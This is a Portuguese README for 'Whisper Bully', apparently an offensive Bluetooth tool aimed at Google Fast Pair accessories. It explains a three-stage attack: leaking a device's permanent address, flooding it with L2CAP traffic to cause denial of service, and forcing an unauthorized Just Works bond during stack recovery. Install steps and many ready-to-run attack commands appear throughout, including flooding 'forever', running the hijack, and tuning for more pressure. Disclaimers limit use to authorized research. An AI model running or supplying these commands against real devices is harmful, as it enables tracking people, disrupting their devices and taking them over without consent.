
Extração de BDADDR Bluetooth em três etapas, DoS e sequestro em dispositivos Fast Pair; primitivas não corrigidas fora do escopo do CVE-2025-36911 (sem necessidade de Ubertooth)
Ferramenta de Pesquisa para Extração de BDADDR Bluetooth, Negação de Serviço e Sequestro
© 2026 @Ymsniper — Apenas para pesquisa de segurança autorizada.
Whisper Bully é uma ferramenta de pesquisa de segurança Bluetooth de três estágios que tem como alvo dispositivos que anunciam o Google Fast Pair (UUID de serviço fe2c). Ela demonstra duas primitivas de ataque sem patch que estão fora do escopo do patch de firmware CVE-2025-36911:
⚠️ Esta ferramenta NÃO implementa o protocolo Whisper Pair (Fast Pair GATT). Ela nunca escreve na característica de Pareamento Baseado em Chave (UUID 1236) ou na característica de Chave de Conta (UUID 1238). A superfície de ataque descrita aqui é separada e não é abordada pelo patch de verificação de modo de pareamento CVE-2025-36911.
https://github.com/user-attachments/assets/67f2bcb6-38ad-4ba0-80c5-36dbb54f3f11
Causa raiz: Quando uma conexão BLE é estabelecida, a pilha host Linux BlueZ processa o evento LL_CONNECTION_COMPLETE e resolve o Endereço Privado Resolvível (RPA) do dispositivo para seu Endereço de Identidade permanente, armazenando-o em cache na tabela de dispositivos BlueZ. Isso ocorre no nível da Camada de Enlace / HCI, antes de qualquer interação com o serviço GATT. Nenhum protocolo Fast Pair está envolvido.
O que o código realmente faz:
BleakScanner) em busca de dispositivos que anunciam o UUID de serviço Fast Pair fe2c — usado apenas para identificação do alvo, sem interação com o protocoloBleakClient.connect() — sem escritas GATT de qualquer tipoNoInputNoOutput em preparação para o Passo 4wb.py)bluetoothctl pair <rpa_addr> — tentativa de pareamento SMP Bluetooth padrão, não Fast Pairbluetoothctl em busca de saída Bonded: yes, que pode conter o endereço vinculadobluetoothctl devices e compara com o RPA inicial — qualquer entrada com o mesmo nome de dispositivo, mas endereço diferente, é o Endereço de Identidade permanente, vazado pelo BlueZ no passo 2Por que o patch não corrige isso:
A correção do firmware CVE-2025-36911 adiciona uma verificação de modo de pareamento ao manipulador da característica de Pareamento Baseado em Chave GATT Fast Pair no acessório. Esta ferramenta nunca escreve nessa característica. O vazamento do endereço de identidade ocorre no host Linux do atacante por meio do cache de dispositivos do próprio BlueZ — totalmente fora do firmware do acessório.
Notas importantes sobre o comportamento:
bluetoothctl pair falhar ou expirarNoInputNoOutput significa que não há interação do usuário em nenhum dos lados para Just WorksUma vez conhecido o endereço permanente, opcionalmente execute uma inundação L2CAP sustentada de negação de serviço usando uma versão modificada de l2flood.
Dois modos são usados na ferramenta:
Flag -R — Modo EMP (inundação do Estágio 2)
Dispara e esquece silencioso com reconexão em rajada. Todas as threads sincronizam seus ciclos de conectar → rajada → fechamento forçado para que o alvo receba desmontagens completas periódicas de ACL em vez de embaralhamento escalonado de canais L2CAP que ele pode absorver. Usa SO_LINGER {1,0} para desmontagem RST imediata em cada fechamento. Não produz saída stdout durante operação normal — erros de conexão são suprimidos para stderr e exibidos apenas periodicamente.
Modo normal (sonda de sequestro do Estágio 3)
Usado sem -R para sondar se o alvo ainda está respondendo. Este modo também foi melhorado — agora lida automaticamente com reconexões e gera no response from <addr>: id N quando o alvo para de responder, que é o que wb.py monitora para acionar o sequestro.
Resultado: O dispositivo alvo fica não responsivo a tentativas normais de conexão enquanto a inundação está ativa. O dispositivo se recupera totalmente quando o ataque para — sem danos permanentes.
Comportamento com múltiplas threads:
Causa raiz: A inundação L2CAP sustentada faz com que a pilha Bluetooth do dispositivo alvo falhe ou reinicie. Durante a janela de recuperação — antes que o serviço GATT Fast Pair seja re-registrado e antes que o Gerenciador de Segurança seja totalmente reinicializado — o dispositivo aceita um vínculo SMP Just Works padrão de NoInputNoOutput sem exigir o handshake Fast Pair GATT que normalmente bloquearia o vínculo. O vínculo resultante é persistente: sobrevive a reinicializações do adaptador BT e mostra Paired: yes / Bonded: yes em bluetoothctl info.
Por que esta é uma descoberta separada do CVE-2025-36911:
O patch CVE-2025-36911 impõe uma verificação de modo de pareamento no manipulador da característica de Pareamento Baseado em Chave GATT FP. O Estágio 3 nunca toca nessa característica. O vínculo é estabelecido na camada SMP durante uma janela onde o servidor GATT FP não foi reinicializado, então a porta de segurança Fast Pair nunca é sequer alcançada. Um dispositivo totalmente corrigido permanece vulnerável a isso porque o patch não tem visibilidade da camada SMP durante a recuperação da pilha.
O que o código realmente faz:
l2flood -c -1 -t 2) para confirmar que o dispositivo está não responsivo — procura por no response from <addr>: id N na saídabluetoothctl connect <permanent_addr> em um loop de repetiçãoNoInputNoOutput / NoInputNoOutput → modelo de associação Just Works → vínculo completobluetoothctl connect retorna código de saída 0 em caso de sucessoProbabilidade de sucesso por estado do dispositivo:
| Estado do Dispositivo | Resultado Esperado |
|---|---|
| Ativamente inundado / não responsivo | Maior sucesso — pilha em estado degradado durante recuperação |
| Recuperando-se da inundação | Alto sucesso — janela temporária de reinicialização do SM |
| Totalmente recuperado | Menor sucesso — segurança normal restaurada |
| Desligado | Falha |
Esta é uma ferramenta de pesquisa de negação de serviço e acesso não autorizado.
Usar esta ferramenta em dispositivos que você não possui ou sem autorização explícita por escrito é um crime federal punível com prisão e multas sob o Computer Fraud and Abuse Act (18 U.S.C. § 1030) e estatutos equivalentes em outras jurisdições.
Você pode somente usar esta ferramenta em:
bluetoothctl e acesso BLE bruto)bluetoothctl / BlueZ instalado e funcionall2flood com suporte OpenMP — veja kovmir/l2floodUbuntu / Debian:
sudo apt update
sudo apt install -y python3 python3-pip libdbus-1-dev libglib2.0-dev bluez
Fedora / RHEL / CentOS:
sudo dnf install -y python3 python3-pip dbus-devel glib2-devel bluez
Arch Linux:
sudo pacman -S python python-pip dbus glib bluez
Alpine Linux:
apk add --no-cache python3 py3-pip dbus-dev glib-dev bluez bluez-openrc
openSUSE:
sudo zypper install -y python3 python3-pip dbus-1-devel glib2-devel bluez
Void Linux:
sudo xbps-install -S python3 python3-pip dbus-devel glib-devel bluez
git clone https://github.com/Ymsniper/Whisper_Bully.git
cd Whisper_Bully
pip3 install -r requirements.txt
# Necessário apenas para Estágio 2/3:
make
sudo make install
# Detecta e extrai automaticamente todos os dispositivos Fast Pair próximos
sudo python3 wb.py
# Varredura de 20 segundos, salva resultados
sudo python3 wb.py -s 20 -o targets.json
# Varredura de 30 segundos, arquivo de saída personalizado
sudo python3 wb.py -s 30 -o extracted.json
Nota: Se um dispositivo foi previamente conectado ou pareado por esta ferramenta ou manualmente, o BlueZ já conhece seu endereço de identidade. Remova-o primeiro para que a extração seja executada de forma limpa:
sudo bluetoothctl remove <address>
sudo python3 wb.py -s 20 -o targets.json
# Ao término: "Run aggressive L2CAP test... (yes/no)" → yes
# Apenas Estágio 1 + Estágio 2
sudo python3 wb.py -s 20 -o targets.json --aggressive
# Estágio 1 + Estágio 2 + Estágio 3
sudo python3 wb.py -s 20 -o targets.json --aggressive --hijack
# Com duração e número de threads
sudo python3 wb.py -s 20 -o targets.json --aggressive --hijack -d 120 -t 8
# Inunda a partir do arquivo de alvos extraídos por 120 segundos
sudo python3 aggressive_test.py -f targets.json -d 120 -t 4
# Inunda um único endereço conhecido por 60 segundos
sudo python3 aggressive_test.py AA:BB:CC:DD:EE:FF -d 60
# Inunda para sempre (Ctrl+C para parar)
sudo python3 aggressive_test.py AA:BB:CC:DD:EE:FF -f
# Integrado — extrai, inunda e sequestra
sudo python3 wb.py -s 20 -o targets.json --aggressive --hijack -d 120
# Sequestro autônomo manual em endereço conhecido
sudo python3 wb.py -H AA:BB:CC:DD:EE:FF
sudo python3 wb.py -s 20 -o targets.json --aggressive --hijack -d 120 -t 4
Fluxo de execução:
targets.json# Terminal 1
sudo python3 wb.py -s 20 -o targets.json --aggressive --hijack -i hci0 -d 120 -t 4 &
# Terminal 2
sudo python3 wb.py -s 20 -o targets.json --aggressive --hijack -i hci1 -d 120 -t 4
Dobra a pressão DoS e aumenta a probabilidade de sucesso do sequestro durante a janela de recuperação.
O UUID de serviço Fast Pair FE2C é usado apenas como filtro de varredura para identificar alvos candidatos. Uma vez estabelecida uma conexão BLE:
LL_CONNECTION_COMPLETE para o hostbluetoothctl devices mostra então tanto o RPA original quanto o endereço de identidade recém-registrado — mesmo nome de dispositivo, endereço diferenteA chamada bluetoothctl pair que é executada concorrentemente pode ou não ser bem-sucedida — o BDADDR normalmente já está na tabela quando o comando pair é concluído ou falha.
l2flood -R)Este l2flood modificado tem dois modos dependendo do estágio pretendido:
Flag -R — Modo EMP (apenas DoS, sem sequestro)
Usado ao executar o Estágio 2 de forma autônoma sem prosseguir para o Estágio 3.
Dispara e esquece silencioso com reconexão em rajada — todas as threads sincronizam seus
ciclos de conectar → rajada → fechamento forçado para garantir desmontagens completas
periódicas de ACL. Não produz saída stdout durante operação normal.
Modo normal (DoS + sonda de sequestro)
Usado quando o Estágio 3 é pretendido. O modo normal foi melhorado para lidar
automaticamente com reconexões e gera no response from <addr>: id N
quando o alvo para de responder — este é o sinal que wb.py monitora
para acionar a tentativa de sequestro.
O vínculo resultante não é uma conexão transitória — é um vínculo SMP completo armazenado pelo BlueZ:
bluetoothctl info <addr> mostra Paired: yes, Bonded: yes, Trusted: nobluetoothctl power off/on/var/lib/bluetooth/)bluetoothctlNenhum dispositivo encontrado
bluetoothctl está funcionando: sudo bluetoothctl list-s 30Falha na conexão BLE / extração falha
sudo bluetoothctl remove <addr>Inundação não tem efeito
-t 16Permissão negada
sudobluetooth ou execute como rootErro de importação bleak
sudo apt install libdbus-1-dev libglib2.0-devsudo dnf install dbus-devel glib2-develsudo pacman -S dbus glibErros de D-Bus
sudo systemctl start dbus && sudo systemctl start bluetoothMIT. Consulte LICENSE para detalhes.
Esta ferramenta é apenas para testes de segurança autorizados e pesquisa defensiva. O acesso não autorizado a dispositivos Bluetooth é ilegal. Use apenas em dispositivos que você possui ou para os quais tem permissão explícita por escrito para testar. O autor não assume nenhuma responsabilidade pelo uso não autorizado ou ilegal.
| CVE-2025-36911 (WhisperPair) | Esta Ferramenta |
|---|
| Protocolo usado | Fast Pair GATT KBP (escrita UUID 1236) | Nenhum — apenas conexão BLE simples |
| Caminho de vazamento BDADDR | Notificação KBP criptografada (endereço BR/EDR) | Resolução RPA do BlueZ em LL_CONNECTION_COMPLETE |
| Caminho de bypass de autenticação | Verificação de modo de pareamento FP ausente | SMP Just Works durante janela de recuperação da pilha BT |
| Corrigido pelo patch 36911? | Sim | Não |
| Funciona em dispositivos corrigidos? | Não | Sim |
| CWE | CWE-287 | CWE-200 (Estágio 1) + CWE-362/CWE-287 (Estágio 3) |
| Flag | Descrição |
|---|
-s, --scan-time | Duração da varredura BLE em segundos (padrão: 10) |
-o, --output | Salva endereços extraídos em arquivo JSON |
--aggressive | Pula prompts, executa Estágio 2 imediatamente (requer autorização prévia por escrito) |
-H, --hijack | Tenta sequestro do Estágio 3 após Estágio 2 (requer --aggressive ou sim interativo) |
-d, --duration | Duração da inundação em segundos (padrão: 60) ou f para para sempre |
-t, --threads | Threads paralelas de inundação L2CAP (padrão: número de CPUs) |
-i, --hci | Adaptador HCI a ser usado (ex.: hci0, hci1) |